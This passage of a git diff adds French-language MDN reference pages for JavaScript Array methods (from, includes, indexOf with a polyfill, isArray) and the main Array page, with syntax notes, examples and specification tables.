+
+const mapper = new Map([["1", "a"], ["2", "b"]]);
+Array.from(mapper.values());
+// ["a", "b"]
+
+Array.from(mapper.keys());
+// ["1", "2"]
+
+// String
+Array.from("toto");
+// ["t", "o", "t", "o"]
+
+
+// En utilisant une fonction fléchée pour remplacer map
+// et manipuler des éléments
+Array.from([1, 2, 3], x => x + x);
+// [2, 4, 6]
+
+
+// Pour générer une séquence de nombres
+Array.from({length: 5}, (v, k) => k);
+// [0, 1, 2, 3, 4]
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.from")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("Array.prototype.map()")}}
    • +
  • {{jsxref("TypedArray.from()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/includes/index.html b/files/fr/web/javascript/reference/global_objects/array/includes/index.html new file mode 100644 index 0000000000..8567f02fbf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/includes/index.html @@ -0,0 +1,135 @@ +--- +title: Array.prototype.includes() +slug: Web/JavaScript/Reference/Objets_globaux/Array/includes +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes +--- +
{{JSRef}}
+ +

La méthode includes() permet de déterminer si un tableau contient une valeur et renvoie true si c'est le cas, false sinon.

+ +
{{EmbedInteractiveExample("pages/js/array-includes.html")}}
+ + + +
+

Note : Cette méthode utilise l'algorithme de comparaison SameValueZero qui fonctionne comme l'égalité stricte, à la différence que NaN est ici égal à lui même.

+
+ +

Syntaxe

+ +
array.includes(élémentRecherché)
+array.includes(élémentRecherché, indiceDépart)
+
+ +

Paramètres

+ +
+
élémentRecherché
+
La valeur qu'on souhaite trouver dans le tableau (lorsqu'on manipule des caractères et des chaînes, la comparaison est sensible à la casse).
+
indiceDépart {{optional_inline}}
+
La position du tableau à partir de laquelle commencer à chercher élémentRecherché. Si on utilise une valeur négative, la recherche commencera à partir de la fin du tableau (autrement dit à l'indice array.length - indiceDépart). La valeur par défaut est 0.
+
+ +

Valeur de retour

+ +

Un {{jsxref("Boolean","booléen","",1)}} qui vaut true si élémentRecherché est trouvé dans le tableau (à partir de l'indiceDépart si celui-ci est indiqué). Les valeurs -0, +0 et 0 sont considérées comme équivalentes mais false n'est pas considéré comme équivalent à 0.

+ +
+

Note : Pour être tout à fait précis, includes() utilise l'algorithme SameValueZero afin de déterminer si un élément donné est trouvé.

+
+ +

Exemples

+ +
[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+
+['a', 'b', 'c'].includes('c', 5);    // false
+['a', 'b', 'c'].includes('c', -100); // true
+
+ +

indiceDépart supérieur ou égal à la longueur du tableau

+ +

SI indiceDépart est supérieur ou égal à la longueur du tableau, la méthode retourne false. Le tableau n'est pas parcouru.

+ +
var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3);   // false
+arr.includes('c', 100); // false
+
+ +

indiceDépart strictement négatif

+ +

Si indiceDépart est strictement négatif, l'indice de départ effectif est la somme entre la taille du tableau et indiceDépart. Si cette somme est toujours négative, le tableau est intégralement parcouru.

+ +
// Le tableau a une taille de 3
+// indiceDépart vaut -2
+// L'indice de départ effectif vaut is 3 + (-2) = 1
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -2); // false
+arr.includes('b', -2); // true
+arr.includes('c', -100); // true
+
+ +

Utilisation d'includes() comme méthode générique

+ +

includes() est une méhtode générique : l'objet sur lequel elle est appelée ne doit pas nécessairement être un tableau. On peut l'utiliser sur des objets semblables à des tableaux (ex. arguments ou des chaînes de caractères) :

+ +
function argumentsContientA(){
+  return [].includes.call(arguments, 'a');
+}
+
+console.log(argumentsContientA('a','b','c')); // true
+console.log(argumentsContientA('d','e','f')); // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ES7')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.includes")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.includes()")}}
    • +
  • {{jsxref("String.prototype.includes()")}}
    • +
  • {{jsxref("Array.prototype.indexOf()")}}
    • +
  • {{jsxref("Array.prototype.find()")}}
    • +
  • {{jsxref("Array.prototype.findIndex()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/index.html b/files/fr/web/javascript/reference/global_objects/array/index.html new file mode 100644 index 0000000000..b871ff6573 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/index.html @@ -0,0 +1,446 @@ +--- +title: Array +slug: Web/JavaScript/Reference/Objets_globaux/Array +tags: + - Array + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array +--- +
{{JSRef}}
+ +

L'objet global Array est utilisé pour créer des tableaux. Les tableaux sont des objets de haut-niveau (en termes de complexité homme-machine) semblables à des listes.

+ +

Créer un tableau

+ +
var fruits = ['Apple', 'Banana'];
+
+console.log(fruits.length);
+// 2
+ +

Accéder (via son index) à un élément du tableau

+ +
var first = fruits[0];
+// Apple
+
+var last = fruits[fruits.length - 1];
+// Banana
+ +

Boucler sur un tableau

+ +
fruits.forEach(function(item, index, array) {
+  console.log(item, index);
+});
+// Apple 0
+// Banana 1
+ +

Ajouter à la fin du tableau

+ +
var newLength = fruits.push('Orange');
+// ["Apple", "Banana", "Orange"]
+ +

Supprimer le dernier élément du tableau

+ +
var last = fruits.pop(); // supprime Orange (à la fin)
+// ["Apple", "Banana"];
+ +

Supprimer le premier élément du tableau

+ +
var first = fruits.shift(); // supprime Apple (au début)
+// ["Banana"];
+ +

Ajouter au début du tableau

+ +
var newLength = fruits.unshift('Strawberry') // ajoute au début
+// ["Strawberry", "Banana"];
+ +

Trouver l'index d'un élément dans le tableau

+ +
fruits.push('Mango');
+// ["Strawberry", "Banana", "Mango"]
+
+var pos = fruits.indexOf('Banana');
+// 1
+ +

Supprimer un élément par son index

+ +
var removedItem = fruits.splice(pos, 1); // supprime 1 élément à la position pos
+
+// ["Strawberry", "Mango"]
+ +

Supprimer des éléments à partir d'un index

+ +
var vegetables = ['Cabbage', 'Turnip', 'Radish', 'Carrot'];
+console.log(vegetables);
+// ["Cabbage", "Turnip", "Radish", "Carrot"]
+
+var pos = 1, n = 2;
+
+var removedItems = vegetables.splice(pos, n);
+// n définit le nombre d'éléments à supprimer,
+// à partir de la position pos
+
+console.log(vegetables);
+// ["Cabbage", "Carrot"] (le tableau d'origine est changé)
+
+console.log(removedItems);
+// ["Turnip", "Radish"] (splice retourne la liste des éléments supprimés)
+ +

Copier un tableau

+ +
var shallowCopy = fruits.slice(); // crée un nouveau tableau qui contient les éléments de fruits
+// ["Strawberry", "Mango"]
+ +

Syntaxe

+ +
[element0, element1, ..., elementN]
+new Array(element0, element1[, ...[, elementN]])
+new Array(arrayLength)
+ +
+
+

Paramètres

+
+
element0, element1, ..., elementN
+
Un tableau est initialisé avec les éléments donnés, sauf dans le cas où un seul argument est passé au constructeur Array et que cet argument est un nombre. (Voir ci-après.) Notez que ce cas spécial s'applique aux tableaux créés avec le constructeur Array, et non aux tableaux créés avec la syntaxe crochets.
+
arrayLength
+
Si le seul argument passé au constructeur Array est un entier entre 0 et 232-1 (inclus), un nouveau tableau sera créé avec ce nombre d'éléments (note : le tableau sera créé avec arrayLength emplacements vides, et non avec de véritables valeurs undefined). Si l'argument est un nombre en dehors de la plage autorisée, une exception {{jsxref("RangeError")}} est levée.
+
+ +

Description

+ +

Les tableaux sont des objets qui servent de liste et possèdent plusieurs méthodes incorporées pour exécuter des opérations de parcours et de modification.

+ +

Ni la taille d'un tableau ni le types de ses éléments n'est fixé. Puisque la dimension d'un tableau peut augmenter ou diminuer à tout moment, et que les éléments du tableau peuvent être stockés à des emplacements non contigus, les tableaux ne sont pas garantis d'être compacts. En général, ce sont des caractéristiques pratiques, mais si ces fonctionnalités ne sont pas souhaitables pour votre cas d'utilisation, vous pouvez envisager d'utiliser des tableaux typés.

+ +

Les tableaux ne peuvent pas utiliser de chaîne de caractères comme indice (comme dans un tableau associatif) mais des entiers. Utiliser ou accéder à des index non entiers, en utilisant la notation avec crochets (ou avec point) ne va pas définir ou récupérer un élément sur le tableau lui-même, mais une variable associée à la  collection de propriétés d'objet de ce tableau.  Les propriétés du tableau et la liste de ses éléments sont séparées, et les opérations de parcours et de modification ne s'appliquent pas à ces propriétés.

+ +

Accéder aux éléments d'un tableau

+ +

Les tableaux sont indexés à partir de zéro: le premier élément d'un tableau a pour indice 0, et la position du dernier élément est donnée par {{jsxref("Array.length", "length")}} moins 1. Si on utilise un indice en dehors de cet intervalle, le résultat sera {{jsxref("undefined")}} (sous réserve qu'aucune propriété n'ait été ajoutée au préalable avec cet indice).

+ +
var arr = ["le premier élément", "le deuxième élément", "le dernier élément"];
+console.log(arr[0]);             // affiche "le premier élément"
+console.log(arr[1]);             // affiche "le deuxième élément"
+console.log(arr[arr.length - 1]);// affiche "le dernier élément"
+ +

Les éléments d'un tableau sont des propriétés d'objets de la même manière que toString est une propriété. Cependant, essayer d'accéder à un élément du tableau comme suit renverra une erreur car le nom de la propriété utilisé est invalide :

+ +
console.log(arr.0); // erreur de syntaxe
+ +

Ce comportement est tout à fait normal. En effet, il n'est pas possible d'accéder aux propriétés dont le nom commence par un chiffre avec cette notation (le point). Il est nécessaire d'utiliser la syntaxe avec les crochets pour accéder à ces propriétés. Ainsi, si pour un objet quelconque, on avait une propriété nommée '3d', on ne pourra y faire référence qu'en utilisant les crochets. Exemple :

+ +
var années = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
+
+console.log(années.0);  // erreur de syntaxe
+console.log(années[0]); // fonctionne correctement
+ +
renderer.3d.setTexture(model, "personnage.png");   // erreur de syntaxe
+renderer["3d"].setTexture(model, "personnage.png");// fonctionne correctement
+ +

Dans cet exemple, on utilise des doubles quotes autour de 3d. On peut aussi utiliser les doubles quotes pour accéder aux éléments d'un tableau (ex. : années["2"] au lieu de années[2]), mais ce n'est pas obligatoire. Dans l'instruction années[2], le nombre sera converti en une chaîne de caractères par le moteur JavaScript. Pour cette raison, si on utilise les noms de propriété "2" et "02", on fera référence à deux propriétés différentes, et le fragment de code suivant renvoie donc true:

+ +
console.log(années["2"] != années["02"]);
+ +

De manière similaire, les propriétés nommées avec des mots-clés réservés ne peuvent être consultées qu'en utilisant la syntaxe avec crochets :

+ +
var promise = {
+  'var' : 'text',
+  'array': [1, 2, 3, 4]
+};
+
+console.log(promise['var']);
+ +
+

Note spécifique à Firefox : Depuis Firefox 40.0a2, il est possible d'utiliser la notation avec le point pour accéder aux propriétés dont les noms ne sont pas des identifiants valides.

+
+ +

Relation entre length et les propriétés numériques

+ +

La propriété {{jsxref("Array.length", "length")}} d'un tableau est liée aux propriétés numériques du tableau. Plusieurs méthodes natives utilisent cette propriété : {{jsxref("Array.join", "join()")}}, {{jsxref("Array.slice", "slice()")}}, {{jsxref("Array.indexOf", "indexOf()")}}, etc. D'autres méthodes comme {{jsxref("Array.push", "push()")}} et {{jsxref("Array.splice", "splice()")}} modifient le tableau et la propriété {{jsxref("Array.length", "length")}}.

+ +
var fruits = [];
+fruits.push("banane", "pomme", "pêche");
+
+console.log(fruits.length); // 3
+ +

Lorsqu'on définit une nouvelle propriété numérique pour un tableau, que l'index utilisé est valide et que celui-ci est dehors des limites actuelles du tableau, le moteur JavaScript mettra à jour la propriété {{jsxref("Array.length", "length")}} :

+ +
fruits[5] = "mangue";
+console.log(fruits[5]);  // "mangue"
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length); // 6
+ +

On peut également modifier la propriété directement (cela n'ajoutera pas de nouveaux éléments) :

+ +
fruits.length = 10;
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length);  // 10
+ +

En revanche, si on diminue la valeur de {{jsxref("Array.length", "length")}}, cela supprimera des éléments :

+ +
fruits.length = 2;
+console.log(Object.keys(fruits)); // ['0', '1']
+console.log(fruits.length); // 2
+ +

Pour plus d'informations sur le comportement de cette propriété, voir la page {{jsxref("Array.length")}}.

+ +

Création d'un tableau utilisant le résultat d'une correspondance

+ +

Le résultat d'une correspondance entre une expression rationnelle et une chaîne peut créer un tableau. Ce tableau possède des propriétés et des éléments qui fournissent des informations sur cette correspondance. Il est possible d'obtenir un tableau grâce aux méthodes {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, and {{jsxref("String.replace")}}. Pour mieux comprendre le fonctionnement de ces propriétés et de ces éléments, on pourra utiliser l'exemple et le tableau qui suivent :

+ +
// Matche un "d" suivit par un ou plusieurs "b" et suivit d'un "d"
+// Capture les "b" et le "d" qui suit
+// Ignore la casse
+
+var maRegexp = /d(b+)(d)/i;
+var monTableau = maRegexp.exec("cdbBdbsbz");
+
+console.log(monTableau);
+// [ 0:"dbBd", 1:"bB", 2:"d", index:1, input:"cdbBdbsbz", length:3 ]
+ +

Les propriétés et les éléments retournés depuis cette correspondance sont les suivants :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Propriété/ÉlémentDescriptionExemple
inputUne propriété en lecture seule qui reflète la chaîne originale sur laquelle l'expression rationnelle a été appliquée.cdbBdbsbz
indexUne propriété en lecture seule qui est l'indice de la correspondance dans la chaîne (les indices commencent à 0)1
[0]Une propriété en lecture seule qui spécifie les derniers caractères correspondants.dbBd
[1], ...[n]Des éléments en lecture seule qui contiennent les groupes capturés, s'il y en a dans l'expression régulière. Le nombre de groupes capturés possibles est illimité.[1]: bB
+ [2]: d
+ +

Propriétés

+ +
+
{{jsxref("Array.prototype.length")}}
+
La propriété de longueur pour le constructeur Array, elle vaut 1.
+
{{jsxref("Array.@@species", "get Array[@@species]")}}
+
La fonction de construction utilisée pour créer les objets dérivés.
+
{{jsxref("Array.prototype")}}
+
Cette propriété permet d'ajouter des propriétés à tous les tableaux.
+
+ +

Méthodes

+ +
+
{{jsxref("Array.from()")}}
+
Cette méthode permet de créer une nouvelle instance d'Array à partir d'un objet semblable à un tableau ou d'un itérable.
+
{{jsxref("Array.isArray()")}}
+
Cette méthode renvoie true si la variable est un tableau, false sinon.
+
{{jsxref("Array.of()")}}
+
Cette méthode permet de créer une nouvelle instance d'Array à partir d'un nombre variable d'arguments (peu importe la quantité ou le type des arguments utilisés).
+
+ +

Instances d'Array

+ +

Toutes les instances d'Array héritent de {{jsxref("Array.prototype")}}. Le prototype du constructeur Array peut être modifié afin d'affecter l'ensemble des instances grâce à l'héritage.

+ +

Les propriétés

+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Propriétés')}}
+ +

Les méthodes

+ +

Les mutateurs

+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Mutateurs')}}
+ +

Les accesseurs

+ +
{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Accesseurs')}}
+ +

Les méthodes d'itération

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/prototype', 'Méthodes_itératives')}}
+ +

Les méthodes génériques de manipulation de tableaux

+ +
+

Attention : Ces méthodes génériques ne sont pas standard. Elles sont dépréciées et seront retirées dans un avenir proche. Celles-ci ne peuvent être utilisées sur tous les navigateurs. Toutefois, il existe un shim disponible sur GitHub.

+
+ +

Parfois, on peut vouloir appliquer des méthodes pour les tableaux sur des chaînes ou d'autres objets semblables aux tableaux (ex. : l'objet {{jsxref("Fonctions/arguments", "arguments", "", 1)}}). Une chaîne sera donc traitée comme un tableau de caractères. Ainsi, si on souhaite vérifier que chaque caractère d'une chaîne str est bien une lettre comprise entre 'a' et 'z', on pourra utiliser :

+ +
function estUneLettre(caractère) {
+  return caractère >= 'a' && caractère <= 'z';
+}
+
+if (Array.prototype.every.call(str, estUneLettre)) {
+  console.log("La chaîne '" + str + "' ne contient que des lettres entre a et z!");
+}
+
+ +

Cette notation étant plutôt verbeuse, une notation raccourcie a été introduite avec JavaScript 1.6 :

+ +
if (Array.every(str,estUneLettre)) {
+  console.log("La chaîne '" + str + "' ne contient que des lettres entre a et z !");
+}
+
+ +

Des {{jsxref("Objets_globaux/String", "méthodes génériques", "#Méthodes_génériques_de_String", 1)}} sont également disponibles pour les {{jsxref("Objets_globaux/String", "String")}}.

+ +

Cette fonctionnalité ne fait pas partie du standard ECMAScript et n'est pas prise en charge par les navigateurs qui ne sont pas basés sur Gecko. Comme alternative standard, vous pouvez convertir votre objet en véritable tableau grâce à la méthode {{jsxref("Array.from()")}} (attention, cette méthode n'est pas supportée dans les anciens navigateurs) :

+ +
if (Array.from(str).every(estUneLettre)) {
+  console.log("La chaîne '" + str + "' contient uniquement des lettres !");
+}
+ +

Exemples

+ +

Créer un tableau

+ +

Dans l'exemple suivant, on crée un tableau tableauMsg, d'une longueur nulle. Ensuite, on lui affecte des valeurs pour tableauMsg[0] et tableauMsg[99], ce qui aura pour effet de modifier la propriété length (qui vaudra alors 100).

+ +
var tableauMsg = [];
+tableauMsg[0] = 'Coucou';
+tableauMsg[99] = 'monde';
+
+if (tableauMsg.length === 100) {
+  console.log('La longueur du tableau vaut 100.');
+}
+
+ +

Créer un tableau à deux dimensions

+ +

Dans l'exemple qui suit, on crée un plateau d'échec grâce à un tableau en deux dimensions qui contient des caractères. Le premier mouvement est effectué en copiant 'p' de (6,4) vers (4,4). La position anciennement occupée par le pion (6,4) devient vide.

+ +
var plateau = [
+  ['T','C','F','R','K','F','C','T'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['t','c','f','k','r','f','c','t'] ];
+
+console.log(plateau.join('\n') + '\n\n');
+
+// On déplace le pion de deux cases en avant 2
+plateau[4][4] = plateau[6][4];
+plateau[6][4] = ' ';
+console.log(plateau.join('\n'));
+
+ +

Voici le résultat affiché :

+ +
T,C,F,R,K,F,C,T
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+t,c,f,k,r,f,c,t
+
+T,C,F,R,K,F,C,T
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+t,c,f,k,r,f,c,t
+
+ +

Utiliser un tableau pour tabuler un ensemble de valeurs

+ +
values = [];
+for (var x = 0; x < 10; x++){
+ values.push([
+  2 ** x,
+  2 * x ** 2
+ ])
+};
+console.table(values)
+ +

Résulte en

+ +
0	1	0
+1	2	2
+2	4	8
+3	8	18
+4	16	32
+5	32	50
+6	64	72
+7	128	98
+8	256	128
+9	512	162
+ +

(Le première colonne est l'index)

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.4', 'Array')}}{{Spec2('ES5.1')}}Ajout de nouvelles méthodes : {{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}
{{SpecName('ES6', '#sec-array-objects', 'Array')}}{{Spec2('ES6')}}Ajout de nouvelles méthodes : {{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}
{{SpecName('ES7', '#sec-array-objects', 'Array')}}{{Spec2('ES7')}}Ajout de la méthode {{jsxref("Array.prototype.includes()")}}.
{{SpecName('ESDraft', '#sec-array-objects', 'Array')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/array/indexof/index.html b/files/fr/web/javascript/reference/global_objects/array/indexof/index.html new file mode 100644 index 0000000000..5ff4981c2e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/indexof/index.html @@ -0,0 +1,214 @@ +--- +title: Array.prototype.indexOf() +slug: Web/JavaScript/Reference/Objets_globaux/Array/indexOf +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf +--- +
{{JSRef}}
+ +

La méthode indexOf() renvoie le premier indice pour lequel on trouve un élément donné dans un tableau. Si l'élément cherché n'est pas présent dans le tableau, la méthode renverra -1.

+ +
+

Note : pour la méthode associée aux chaînes de caractères, voir la page {{jsxref("String.prototype.indexOf()")}}.

+
+ +
{{EmbedInteractiveExample("pages/js/array-indexof.html")}}
+ + + +

Syntaxe

+ +
arr.indexOf(élémentRecherché)
+arr.indexOf(élémentRecherché, indiceDébut)
+
+ +

Paramètres

+ +
+
élémentRecherché
+
L'élément qu'on cherche dans le tableau
+
indiceDébut {{optional_inline}}
+
L'index à partir duquel commencer la recherche. La valeur par défaut est 0 (le tableau sera parcouru dans sa totalité). Si l'index est plus grand ou égal à la longueur du tableau, la méthode renverra -1. Si l'index est négatif, la recherche commencera d'autant d'éléments, à partir de la fin du tableau. À noter que même si l'index est négatif, la recherche s'effectue toujours du début jusqu'à la fin du tableau. Si l'index fourni est inférieur à 0, le tableau sera entièrement parcouru.
+
+ +

Valeur de retour

+ +

Le premier index de l'élément dans le tableau ou -1 si la valeur n'est pas trouvée.

+ +

Description

+ +

indexOf compare élémentRecherché aux éléments contenus dans le tableau en utilisant une égalité stricte (la même méthode utilisée par l'opérateur ===).

+ +

Exemples

+ +

Utiliser indexOf()

+ +

Dans l'exemple qui suit, on peut utiliser indexOf afin de trouver l'emplacement d'un élément dans un tableau.

+ +
var tableau = [2, 9, 9];
+tableau.indexOf(2);     // 0
+tableau.indexOf(7);     // -1
+tableau.indexOf(9, 2);  // 2
+tableau.indexOf(2, -1); // -1
+tableau.indexOf(2, -3); // 0
+ +

Trouver toutes les occurences d'un élément

+ +

Dans l'exemple qui suit, on utilise indexOf() afin de trouver tous les indices d'un élément dans un tableau. On peut utiliser la méthode {{jsxref("Array.prototype.push", "push")}} afin d'ajouter ces indices dans un autre tableau.

+ +
var indices = [];
+var tableau = ['a', 'b', 'a', 'c', 'a', 'd'];
+var élément = 'a';
+var idx = tableau.indexOf(élément);
+while (idx != -1) {
+  indices.push(idx);
+  idx = tableau.indexOf(élément, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]
+ +

Trouver si un élément existe et l'ajouter dans le tableau si ce n'est pas le cas

+ +
function mettreAJourLegumes(tabLégumes, légume) {
+    if (tabLégumes.indexOf(légume) === -1) {
+        tabLégumes.push(légume);
+        console.log('Le nouveau tableau est : ' + tabLégumes);
+    } else if (tabLégumes.indexOf(légume) > -1) {
+        console.log(légume + ' existe déjà dans le tableau.');
+    }
+}
+
+var tabLégumes = ['pomme de terre', 'tomate', 'poivron'];
+
+mettreAJourLegumes(tabLégumes, 'épinard');
+// Le nouveau tableau est : pomme de terre,tomate,poivron,épinard
+mettreAJourLegumes(tabLégumes, 'épinard');
+// épinard existe déjà dans le tableau.
+ +

Prothèse d'émulation (polyfill)

+ +

indexOf fut ajouté avec la cinquième édition du standard ECMA-262 ; il peut donc ne pas être présent dans tous les navigateurs web. Vous pouvez contourner ce problème en insérant le code suivant au début de vos scripts. Il permet d'utiliser indexOf dans les environnements qui ne le supportent pas nativement. L'algorithme est le même que celui spécifié dans ECMAScript 5 si on a bien {{jsxref("TypeError", "TypeError")}} et {{jsxref("Math.abs")}} qui ont leurs valeurs originales :

+ +
// Production steps of ECMA-262, Edition 5, 15.4.4.14
+// Référence : http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+    var k;
+
+    // 1. Soit O le résultat de l'appel à ToObject avec
+    //    this en argument.
+    if (this == null) {
+      throw new TypeError('"this" vaut null ou n est pas défini');
+    }
+
+    var O = Object(this);
+
+    // 2. Soit lenValue le résultat de l'appel de la
+    //    méthode interne Get de O avec l'argument
+    //    "length".
+    // 3. Soit len le résultat de ToUint32(lenValue).
+    var len = O.length >>> 0;
+
+    // 4. Si len vaut 0, on renvoie -1.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5. Si l'argument fromIndex a été utilisé, soit
+    //    n le résultat de ToInteger(fromIndex)
+    //    0 sinon
+    var n = +fromIndex || 0;
+
+    if (Math.abs(n) === Infinity) {
+      n = 0;
+    }
+
+    // 6. Si n >= len, on renvoie -1.
+    if (n >= len) {
+      return -1;
+    }
+
+    // 7. Si n >= 0, soit k égal à n.
+    // 8. Sinon, si n<0, soit k égal à len - abs(n).
+    //    Si k est inférieur à 0, on ramène k égal à 0.
+    k = Math.max(n >= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. On répète tant que k < len
+    while (k < len) {
+      // a. Soit Pk égal à ToString(k).
+      //    Ceci est implicite pour l'opérande gauche de in
+      // b. Soit kPresent le résultat de l'appel de la
+      //    méthode interne HasProperty de O avec Pk en
+      //    argument. Cette étape peut être combinée avec
+      //    l'étape c
+      // c. Si kPresent vaut true, alors
+      //    i.  soit elementK le résultat de l'appel de la
+      //        méthode interne Get de O avec ToString(k) en
+      //        argument
+      //   ii.  Soit same le résultat de l'application de
+      //        l'algorithme d'égalité stricte entre
+      //        searchElement et elementK.
+      //  iii.  Si same vaut true, on renvoie k.
+      if (k in O && O[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.indexOf")}}

+
+ +

Notes de compatibilité

+ +
    +
  • À partir de Firefox 47 ({{geckoRelease(47)}}), cette méthode ne renverra plus -0. Ainsi, [0].indexOf(0, -0) renverra toujours +0 (cf. {{bug(1242043)}}).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.lastIndexOf()")}}
    • +
  • {{jsxref("TypedArray.prototype.indexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/isarray/index.html b/files/fr/web/javascript/reference/global_objects/array/isarray/index.html new file mode 100644 index 0000000000..bc07a159b0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/isarray/index.html @@ -0,0 +1,117 @@ +--- +title: Array.isArray() +slug: Web/JavaScript/Reference/Objets_globaux/Array/isArray +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray +--- +
{{JSRef}}
+ +

La méthode Array.isArray() permet de déterminer si l'objet passé en argument est un objet {{jsxref("Array")}}, elle renvoie true si le paramètre passé à la fonction est de type Array et false dans le cas contraire.

+ +
Array.isArray([1, 2, 3]);   // true
+Array.isArray({toto: 123}); // false
+Array.isArray("tototruc");  // false
+Array.isArray(undefined);   // false
+
+ +

Syntaxe

+ +
Array.isArray(value)
+ +

Paramètres

+ +
+
value
+
La valeur dont on veut vérifier le type
+
+ +

Valeur de retour

+ +

true si la valeur est un tableau (une instance de {{jsxref("Array")}}), false sinon.

+ +

Description

+ +

Si l'objet indiqué en paramètre est un {{jsxref("Array")}}, la méthode renvoie true, sinon, elle renvoie false.

+ +

Voir aussi : « Determining with absolute accuracy whether or not a JavaScript object is an array » (en anglais) pour avoir plus de détails. Si on passe un objet {{jsxref("TypedArray")}} en argument, ce sera toujours la valeur false qui sera renvoyée.

+ +

Exemples

+ +
// Tous les appels suivant renvoient true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c'));
+Array.isArray(new Array(3));
+// Une petite anecdote: Array.prototype lui même est un Array
+Array.isArray( Array.prototype );
+
+// Tous les appels suivant renvoient false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray("Array");
